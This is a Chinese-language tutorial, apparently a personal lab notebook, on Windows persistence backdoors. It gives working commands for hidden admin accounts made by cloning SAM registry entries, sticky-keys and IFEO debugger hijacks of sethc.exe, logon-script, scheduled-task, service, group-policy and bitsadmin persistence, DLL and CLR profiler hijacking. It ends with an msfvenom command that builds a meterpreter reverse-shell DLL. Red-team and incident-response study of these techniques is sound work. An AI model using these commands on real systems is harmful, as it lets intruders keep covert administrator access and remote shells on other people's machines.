影子账户
通过如下命令创建隐藏用户并加入管理员组
1 | net user hide$ 123456 /add |
可以发现使用net user查看账户无法看到hide用户,但是在计算机管理页面中依旧可以看到
解决方法是修改注册表
打开HKEY_LOCAL_MACHINE\SAM\SAM,修改SAM的权限,赋予administrators完全控制权限
重新启动注册表
可以看到hide用户对应的16进制位3eb,找到对应的文件夹,将其导出
并同时将hide文件夹和Administrators对应的F4文件夹导出
将eb.reg的F值替换为f4.reg的F值
1 | Domains\\Account\\Users下存放的就是各个账号的信息,当然,这里是加密过的二进制数据,每个账号下面有两个子项,F和V。项目V中保存的是账户的基本资料,用户名、所属组、描述、密码、注释、是否可以更改密码、账户启用、密码设置时间等。项目F中保存的是一些登录记录,比如上次登录时间、错误登录次数等。 |
执行命令
1 | net user hide$ /del //删除hide用户 |
此时用户管理界面已经没有hide用户了
并且我们依旧可以通过hide$用户连接
现在只能在注册表中才能看到隐藏用户
粘滞键后门
粘滞键指的是电脑使用中的一种快捷键,专为同时按下两个或多个键有困难的人而设计的。粘滞键的主要功能是方便Shift等键的组合使用。一般的电脑连按五次shift会出现粘滞键提示
粘滞键位置:c:\windows\system32\sethc.exe
我们可以将粘滞键exe替换为cmd的exe,这样在尝试执行粘滞键操作也就是连击5次shift键后,就会弹出命令框
首先更改一下控制权
将所有者改为administrator
并将administrator修改为完全控制
然后执行命令
1 | copy sethc.exe sethc1.exe |
连击5次粘滞键:
Logon Scripts后门
Windows登录脚本,当用户登录时触发,Logon Scripts能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截。
注册表位置:
1 | HKEY_CURRENT_USER\Environment |
使用powershell执行如下命令(用于修改对应注册表)
1 | New-ItemProperty "HKCU:Environment" UserInitMprLogonScript -value "C:\Windows\System32\cmd.exe" -propertyType string | Out-Null |
重新注销后登录,即可发现自动弹出了cmd
我们也可以将cmd.exe替换为我们的木马文件,用于持久化,只要计算机启动便可上线
映像劫持
“映像劫持”,也被称为“IFEO”(Image File Execution Options),在WindowsNT架构的系统里,IFEO的本意是为一些在默认系统环境中运行时可能引发错误的程序执行体提供特殊的环境设定。
当我们双击运行程序时,系统会查询该IFEO注册表,如果发现存在和该程序名称完全相同的子键,就查询对应子健中包含的“debugger”键值名,如果该参数不为空,系统则会把 Debugger 参数里指定的程序文件名作为用户试图启动的程序执行请求来处理。这样成功执行的是遭到“劫持”的虚假程序。
注册表位置:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
在此注册表位置添加项sethc.exe,添加debugger键的值为c:\windows\system32\cmd.exe
1 | reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f |
进行粘滞键操作时,会弹出命令行
计划任务后门
使用schtasks创建恶意的后门exe
1 | schtasks /Create /tn Updater /tr C:\Windows\system32\cmd.exe /sc minute /mo 5 |
/Create
:指定创建计划任务。/tn Updater
:指定计划任务的名称为 “Updater”。你可以替换为你想要的名称。/tr C:\Windows\system32\cmd.exe
:指定要运行的命令或程序。在这种情况下,它是cmd.exe
命令提示符。/sc minute
:指定计划任务的触发器类型为分钟触发器。这意味着任务将按分钟间隔运行。/mo 5
:指定任务运行的间隔时间为 5 分钟。
查看
1 | schtasks | findstr /i "updater" |
可能会出现错误:无法加载列资源
的问题,修改一下编码即可:chcp 437
服务自启动后门
自启动服务一般是在电脑启动后在后台加载指定的服务程序,我们可以将exe文件注册为服务,也可以将dll文件注册为服务
1 | sc create update start= auto binPath= "C:\Windows\system32\cmd.exe" obj= Localsystem depend= Tcpip |
emmm,但是重启之后并未弹出cmd,不太清楚哪里出错了…..
当然,在应急响应时,我们可以通过sc qc update
查看详细服务信息
组策略设置脚本启动
首先创建一个脚本,此处为添加隐藏用户,内容如下:
1 | @echo off |
打开组策略配置
1 | gpedit.msc |
这样之后,每次关机便会自动执行相关脚本
bitsadmin
BITS (后台智能传送服务) 是一个 Windows 组件,它可以在前台或后台异步传输文件,为保证其他网络应用程序获得响应而调整传输速度,并在重新启动计算机或重新建立网络连接之后自动恢复文件传输
1 | bitsadmin /create test //创建任务test |
第二行命令也可以支持远程下载文件到本地
后续按网上说的重启之后没效果,但阴差阳错我打开一个zip文件时,命令成功执行了…
感觉就是在文件传输时这个命令就会起作用
DLL劫持
当一个可执行文件运行时,Windows加载器会将PE(Portable Executable File Format)文件映射到内存中,然后分析可执行文件的导入表,并将相应的DLL文件装入,EXE文件通过导入表找到DLL中相应的函数,从而运行相应的函数。
导入表中只有DLL名,并不存在任何路径信息,因此Windows加载器必须在磁盘上搜索DLL文件。搜索顺序为:当前程序所在的目录->Windows系统目录->环境变量。利用这个特点,可以伪造一个系统同名DLL放在程序目录下,当提供相同的输出表,当EXE加载DLL时会首先会搜索当前目录下DLL并装入,调用DLL函数时,伪造的DLL将程序所调用的函数全部转发至系统真实DLL中,并在此过程中完成恶意功能。此种方式被称之为DLL劫持。
在Windows7及以上系统采用了KnownDLLs
注册表位置:\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
在此项下的DLL会被禁止从EXE自身所在目录下调用,而只能从系统目录即SYSTEM32目录下调用
具体利用参考这篇文章吧(不想下载vs
https://www.freebuf.com/articles/system/241946.html
无需管理员权限的CLR劫持
1 | CLR全称Common Language Runtime(公共语言运行库),是一个可由多种编程语言使用的运行环境。 |
通过修改环境变量,使CLR
作用于全局,从而劫持所有.net
程序的启动。
CLR
需要配置环境变量才可以完全劫持.net
。
输入如下命令:
1 | SETX COR_ENABLE_PROFILING 1 /M 设置环境变量为1 |
注:
{11111111-1111-1111-1111-111111111111}表示CLSID
可设置为任意数值,只要不和系统常用CLSID冲突就好
使用弹框dll,下载地址:
https://raw.githubusercontent.com/3gstudent/test/master/msg.dll
dll开发过程可参考:
https://3gstudent.github.io/3gs
1 | REG ADD "HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32" /VE /T REG_SZ /D "C:\Windows\System32\test.dll" /F |
然后按道理输入powershell即可弹窗,但是感觉我windows版本有点问题??更换msf生成的反弹shell的dll文件也不行
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.30.130 LPORT=444 -f dll > test.dll |